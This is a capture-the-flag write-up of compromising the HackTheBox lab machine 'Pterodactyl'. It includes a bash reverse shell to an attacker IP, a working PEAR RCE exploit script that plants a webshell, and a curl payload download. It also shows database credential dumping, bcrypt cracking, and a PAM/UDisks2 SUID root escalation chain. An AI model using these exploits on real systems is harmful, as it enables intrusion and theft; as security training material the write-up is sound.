MISSION BRIEFING // WRITEUP
Authored by 01xSyn.Hacks
MEDIUM
Executive Summary
Pterodactyl ist eine Linux‑Maschine, bei der mehrere Schwachstellen kombiniert werden müssen, um vom initialen Zugriff bis zur vollständigen Root‑Kompromittierung zu gelangen. Der Angriff beginnt mit CVE‑2025‑49132 (PHP PEAR Remote Code Execution), wodurch Codeausführung auf der Webanwendung möglich wird. Anschließend ermöglichen offengelegte Laravel‑Konfigurationsdateien den Zugriff auf Datenbank‑Zugangsdaten, was Lateral Movement und weitergehenden Systemzugriff erlaubt. Die finale Privilege Escalation erfolgt durch die Kombination von CVE‑2025‑6018 (PAM Environment Variable Injection) und CVE‑2025‑6019 (UDisks2 XFS Privilege Escalation), wodurch schließlich Root‑Rechte erlangt werden.
Reconnaissance & Enumeration
Host Configuration
First, we add the target to our hosts file for proper name resolution:
echo "10.129.5.168 pterodactyl.htb panel.pterodactyl.htb" | sudo tee -a /etc/hosts
Subdomain Discovery
Using ffuf to brute-force virtual hosts:
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt \
-u http://pterodactyl.htb/ \
-H "Host: FUZZ.pterodactyl.htb" -fw
Discovery: panel.pterodactyl.htb
This subdomain hosts the Pterodactyl Panel application - a popular game server management platform built on Laravel (PHP framework).
Vulnerability Identification
Checking for PHP configuration disclosure:
curl http://panel.pterodactyl.htb/phpinfo.php
Key Finding: PEAR (PHP Extension and Application Repository) is enabled with writable configuration paths.
Initial Access - CVE-2025-49132 (PEAR RCE)
Vulnerability Background
CVE-2025-49132 is a remote code execution vulnerability in PHP's PEAR package manager. When PEAR is misconfigured with writable directories and accessible configuration files, an attacker can inject malicious PHP code into the autoloader, achieving arbitrary command execution as the web server user.
Exploitation Steps
Step 1: Create Reverse Shell Payload
On the attack machine:
cat << 'EOF' > rev.sh
bash -i >& /dev/tcp/10.10.15.249/4444 0>&1
EOF
This creates a standard bash reverse shell that redirects stdin/stdout/stderr to our listener.
Step 2: Start HTTP Server
python3 -m http.server 8000
Output:
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Step 3: Start Netcat Listener
Open a second terminal:
Output:
listening on [any] 4444 ...
Step 4: Exploit CVE-2025-49132
Exploit Script:
#!/usr/bin/env python3
import sys
import subprocess
import re
if len(sys.argv) < 3:
print("Usage: python synapse.py <host> '<command>'")
exit(1)
host = sys.argv[1]
command = sys.argv[2]
# Fix escape sequence warning
payload = command.replace(' ', r'\$\{IFS\}')
# Working path from your test
PEARCMD_PATH = "../../../../../../usr/share/php/PEAR"
print(f"[] Executing: {command}\n")
# Write payload
write_cmd = (
f'curl -s "http://{host}/locales/locale.json?+config-create+/&'
f'locale={PEARCMD_PATH}&namespace=pearcmd&'
f'/<?=system(\'{payload}\')?>+/tmp/shell.php"'
)
subprocess.run(write_cmd, shell=True, capture_output=True)
# Execute and get output
exec_cmd = (
f'curl -s "http://{host}/locales/locale.json?'
f'locale=../../../../../tmp&namespace=shell"'
)
result = subprocess.run(exec_cmd, shell=True, capture_output=True, text=True)
# Extract actual command output (it's repeated in the PEAR config)
# Look for the command output pattern
lines = result.stdout.split('\n')
for line in lines:
# Skip PEAR config lines and HTML
if 'uid=' in line or 'HTB{' in line or 'root:' in line:
clean = re.sub(r'.?(uid=\d+.?)\suid=.*', r'\1', line)
if clean:
print(clean)
break
else:
# If no clean output found, show first occurrence
match = re.search(r'(uid=\d+([^)]+)[^<]+)', result.stdout)
if match:
print(match.group(1))
Using the exploit script:
python3 synapse.py panel.pterodactyl.htb \
'curl -o /tmp/rev.sh http://10.10.15.249:8000/rev.sh'
This command leverages the PEAR RCE to download our reverse shell payload to /tmp/rev.sh on the target.
Step 5: Execute Reverse Shell
python3 synapse.py panel.pterodactyl.htb 'sh /tmp/rev.sh'
Listener Output:
connect to [10.10.15.249] from (UNKNOWN) [10.129.5.168] 56216
bash: cannot set terminal process group (1219): Inappropriate ioctl for device
bash: no job control in this shell
wwwrun@pterodactyl:/var/www/pterodactyl/public>
Shell Stabilization
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Current Access: wwwrun user (web server process)
Enumeration as wwwrun
User Discovery
Output:
User Flag Capture
cat /home/phileasfogg3/user.txt
Output:
d2f11e1f3c58634276<REDACTED>
Flag Obtained: ✅ User flag captured
Laravel Configuration Analysis
Pterodactyl Panel is built on Laravel, which stores sensitive configuration in .env files located in the application root.
cd /var/www/pterodactyl
ls -la
Key File Found: .env (owned by wwwrun, readable)
Relevant Output:
APP_ENV=production
APP_DEBUG=false
APP_KEY=base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=
APP_URL="http://panel.pterodactyl.htb"
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=panel
DB_USERNAME=pterodactyl
DB_PASSWORD=PteraPanel
REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379
Critical Discovery:
- Database: panel
- Username: pterodactyl
- Password: PteraPanel
Database Enumeration
Since we're in a non-interactive reverse shell, we use MySQL's -e flag for non-interactive queries:
mysql -u pterodactyl -pPteraPanel -h 127.0.0.1 panel -e "SHOW TABLES;"
Output:
Tables_in_panel
activity_log_subjects
activity_logs
allocations
api_keys
databases
eggs
locations
nodes
servers
sessions
users
user_ssh_keys
mysql -u pterodactyl -pPteraPanel -h 127.0.0.1 panel \
-e "SELECT id, username, email, password FROM users;"
Output:
id username email password
2 headmonitor headmonitor@pterodactyl.htb $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2
3 phileasfogg3 phileasfogg3@pterodactyl.htb $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi
Target Hash: $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi
This is a bcrypt hash (identified by $2y$ prefix) with a cost factor of 10.
Password Cracking
Hash Preparation
On the attack machine:
Paste the hash:
$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi
Cracking with John the Ripper
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Output:
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!QAZ2wsx (?)
1g 0:00:02:14 DONE (2026-02-09 18:34) 0.007460g/s 103.6p/s 103.6c/s 103.6C/s
Cracked Password: !QAZ2wsx
Credentials:
- Username: phileasfogg3
- Password: !QAZ2wsx
SSH Access as phileasfogg3
Authentication
ssh phileasfogg3@pterodactyl.htb
Password: !QAZ2wsx
Output:
Have a lot of fun...
Last login: Mon Feb 9 19:08:47 2026 from 10.10.14.41
phileasfogg3@pterodactyl:~>
Privilege Check
Output:
uid=1002(phileasfogg3) gid=100(users) groups=100(users)
Sudo Analysis
Output:
Matching Defaults entries for phileasfogg3 on pterodactyl:
always_set_home, env_reset, env_keep="... XDG_SESSION_COOKIE",
!insults, secure_path=/usr/sbin\:/usr/bin\:/sbin\:/bin, targetpw
User phileasfogg3 may run the following commands on pterodactyl:
(ALL) ALL
Critical Finding: targetpw flag means sudo requires the root password, not the user's password. Direct sudo privilege escalation is blocked.
Privilege Escalation - CVE-2025-6018 & CVE-2025-6019
Vulnerability Chain Overview
The privilege escalation exploits two chained CVEs:
- CVE-2025-6018: PAM environment variable injection that bypasses polkit session checks
- CVE-2025-6019: UDisks2 XFS filesystem resize vulnerability that preserves SUID permissions
CVE-2025-6019 Technical Background
UDisks2 is a system service that manages disk devices and filesystems. When resizing XFS filesystems, versions prior to the patch fail to mount with nosuid and nodev flags. This allows SUID binaries embedded in the filesystem to execute with elevated privileges.
The vulnerability exists in the org.freedesktop.UDisks2.Filesystem.Resize D-Bus method call.
Step 1: Preparing the Malicious XFS Image
On Attack Machine
Install XFS utilities:
sudo apt install xfsprogs -y
Create XFS Image
dd if=/dev/zero of=xfs.image bs=1M count=300
Output:
300+0 records in
300+0 records out
314572800 bytes (315 MB, 300 MiB) copied, 0.5s, 629 MB/s
Format as XFS
sudo mkfs.xfs -f xfs.image
Output:
meta-data=xfs.image isize=512 agcount=4, agsize=19200 blks
data = bsize=4096 blocks=76800, imaxpct=25
naming =version 2 bsize=4096 ascii-ci 0, ftype=1
Mount and Plant SUID Shell
mkdir xfsmnt
sudo mount xfs.image xfsmnt
sudo cp /bin/bash xfsmnt/bash
sudo chmod 4755 xfsmnt/bash
sudo ls -la xfsmnt/bash
Output:
-rwsr-xr-x 1 root root 1265648 Feb 9 18:20 xfsmnt/bash
The s in -rwsr-xr-x indicates the SUID bit is set, meaning this bash binary will execute with root privileges.
Unmount and Verify
sudo umount xfsmnt
file xfs.image
Output:
xfs.image: SGI XFS filesystem data (blksz 4096, inosz 512, v2 dirs)
Verify XFS Magic Bytes
hexdump -C xfs.image | head -3
Output:
00000000 58 46 53 42 00 00 10 00 00 00 00 00 00 01 2c 00 |XFSB..........,.|
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
XFSB at offset 0 confirms valid XFS filesystem structure.
Step 2: Transfer to Target
Using SCP
scp xfs.image phileasfogg3@pterodactyl.htb:/tmp/xfs_real.image
Password: !QAZ2wsx
Verify Transfer
On target:
ls -lh /tmp/xfs_real.image
file /tmp/xfs_real.image
Output:
-rw-r--r-- 1 phileasfogg3 users 300M Feb 9 19:17 /tmp/xfs_real.image
/tmp/xfs_real.image: SGI XFS filesystem data (blksz 4096, inosz 512, v2 dirs)
Step 3: CVE-2025-6018 - PAM Environment Injection
Why This is Necessary
Initial attempts to use udisksctl fail with:
udisksctl loop-setup --file /tmp/xfs_real.image --no-user-interaction
Error:
Error: GDBus.Error:org.freedesktop.UDisks2.Error.NotAuthorizedCanObtain: Not authorized to perform operation
Understanding Polkit Authorization
Polkit (PolicyKit) controls access to privileged operations. The UDisks2 service requires an active local session to grant loop device setup without authentication.
SSH sessions are classified as remote by default, even though we're logged in as a valid user.
Check Current Session Environment
Initial Output (Before Exploit):
XDG_SESSION_ID=17
XDG_RUNTIME_DIR=/run/user/1002
Missing critical variables: XDG_SESSION_TYPE, XDG_SEAT, XDG_VTNR
CVE-2025-6018 Exploitation
PAM (Pluggable Authentication Modules) reads ~/.pam_environment during login to set user environment variables. By injecting XDG session variables, we trick polkit into believing our SSH session is an active graphical local session.
Create the malicious PAM environment file:
cat > ~/.pam_environment << 'EOF'
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
XDG_SESSION_TYPE OVERRIDE=x11
XDG_SESSION_CLASS OVERRIDE=user
XDG_RUNTIME_DIR OVERRIDE=/run/user/1002
EOF
Variable Explanations:
XDG_SEAT: Virtual seat identifier (seat0 = primary)
XDG_VTNR: Virtual terminal number (1 = first VT)
XDG_SESSION_TYPE: Session type (x11 = graphical)
XDG_SESSION_CLASS: User session class
XDG_RUNTIME_DIR: Runtime directory for user processes
Apply the Changes
Log out and reconnect:
exit
ssh phileasfogg3@pterodactyl.htb
Verify Environment Injection
Output After Re-login:
XDG_VTNR=1
XDG_SESSION_ID=30
XDG_SESSION_TYPE=x11
XDG_DATA_DIRS=/usr/share
XDG_SESSION_CLASS=user
XDG_SEAT=seat0
XDG_RUNTIME_DIR=/run/user/1002
XDG_CONFIG_DIRS=/etc/xdg
Success! All required XDG variables are now set. Polkit will now treat this SSH session as an active local graphical session.
Step 4: CVE-2025-6019 - UDisks2 Exploitation
Kill Automounter Service
cd /tmp
killall -KILL gvfs-udisks2-volume-monitor 2>/dev/null
This prevents GVFS (GNOME Virtual File System) from interfering with manual loop device operations.
Create Loop Device
udisksctl loop-setup --file /tmp/xfs_real.image --no-user-interaction
Output:
Mapped file /tmp/xfs_real.image as /dev/loop0.
Critical Success: No authentication prompt! The PAM environment injection successfully bypassed polkit restrictions.
Start Background Monitor
This script continuously checks for the temporary mount point created by UDisks:
while true; do /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break; done 2>/dev/null &
Output:
Process ID 18575 is now monitoring in the background.
Trigger the Vulnerable Resize Operation
gdbus call --system --dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop0 \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
Output:
Error: GDBus.Error:org.freedesktop.UDisks2.Error.Failed: Error resizing filesystem on /dev/loop0: Failed to unmount '/dev/loop0' after resizing it: target is busy
This error is EXPECTED and REQUIRED!
What Just Happened?
Filesystem.Resize method was called on our XFS loop device
- UDisks2 mounted the XFS filesystem to a temporary directory:
/tmp/blockdev.XXXXXX/
- The mount occurred WITHOUT
nosuid flag (this is the vulnerability)
- Our background script accessed the SUID bash, keeping the mount busy
- UDisks failed to unmount (because it's in use), preserving our root shell access
Background Script Output
-rwsr-xr-x 1 root root 1265648 Feb 9 23:54 /tmp/blockdev.7XM7J3/bash
-rwsr-xr-x 1 root root 1265648 Feb 9 23:54 /tmp/blockdev.7XM7J3/bash
-rwsr-xr-x 1 root root 1265648 Feb 9 23:54 /tmp/blockdev.7XM7J3/bash
The SUID bash from our XFS image is now accessible with root ownership!
Step 5: Root Shell Execution
Execute SUID Bash
Flag Explanation:
-p: Privileged mode - do NOT drop effective user ID
Output:
The # prompt indicates root shell.
Verify Root Access
Output:
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
Key Detail: euid=0(root) - Effective User ID is 0 (root)
While our real UID remains 1002, the effective UID is root, granting full privileged access.
Root Flag Capture
Output:
26065577b478aa2ce1<REDACTED>
✅ Machine Owned!
Technical Deep Dive
Why This Attack Works
1. CVE-2025-49132 (PEAR RCE)
PEAR's configuration system allows modification of critical paths. When combined with web-accessible PHP files, an attacker can:
- Inject malicious code into autoloader paths
- Execute arbitrary commands through PEAR's installer mechanism
- Achieve code execution as the web server user
2. Password Reuse in Web Applications
The Pterodactyl panel stores bcrypt hashes, but:
- Bcrypt with cost 10 is vulnerable to offline cracking
- Common password patterns (!QAZ2wsx is a keyboard pattern)
- Users often reuse panel passwords for system authentication
3. CVE-2025-6018 (PAM Environment Injection)
.pam_environment is processed during PAM session initialization. By injecting XDG session variables:
- Polkit evaluates the session as "active" and "local"
- Authorization checks for device management are bypassed
- Remote sessions gain privileges intended only for physical console access
4. CVE-2025-6019 (UDisks2 XFS Vulnerability)
The core issue:
// Vulnerable code path in UDisks2
mount(device, mountpoint, "xfs", 0, NULL); // Missing MS_NOSUID flag
Proper implementation should be:
mount(device, mountpoint, "xfs", MS_NOSUID | MS_NODEV, NULL);
Without MS_NOSUID, SUID binaries on the mounted filesystem retain their privileges.
Attack Chain Summary
[PEAR RCE] → wwwrun shell
↓
[.env disclosure] → Database credentials
↓
[MySQL access] → Bcrypt hashes
↓
[John the Ripper] → Password cracked
↓
[SSH access] → phileasfogg3 user
↓
[PAM injection] → Polkit bypass (CVE-2025-6018)
↓
[UDisks2 exploit] → SUID bash mounted (CVE-2025-6019)
↓
[Root shell] → Complete system compromise
Tools Used
ffuf - Virtual host discovery
curl - HTTP enumeration
Python HTTP server - Payload delivery
Netcat - Reverse shell listener
MySQL client - Database access
John the Ripper - Password cracking
xfsprogs - XFS filesystem creation
udisksctl - Disk management interface
gdbus - D-Bus method invocation
Conclusion
Pterodactyl demonstrates how defense-in-depth failures enable complete system compromise. Each vulnerability alone might seem moderate:
- PEAR RCE grants web user access (non-privileged)
- Database credentials only expose panel data
- PAM environment injection seems like session management
- UDisks mounting appears to be legitimate disk management
However, when chained together, they create a critical privilege escalation path. This machine emphasizes:
✅ Never trust user-controlled environment variables for authorization
✅ Always enforce mount security flags programmatically
✅ Separate system authentication from application authentication
✅ Defense-in-depth: assume each layer will fail
CVE-2025-49132 CVE-2025-6018 CVE-2025-6019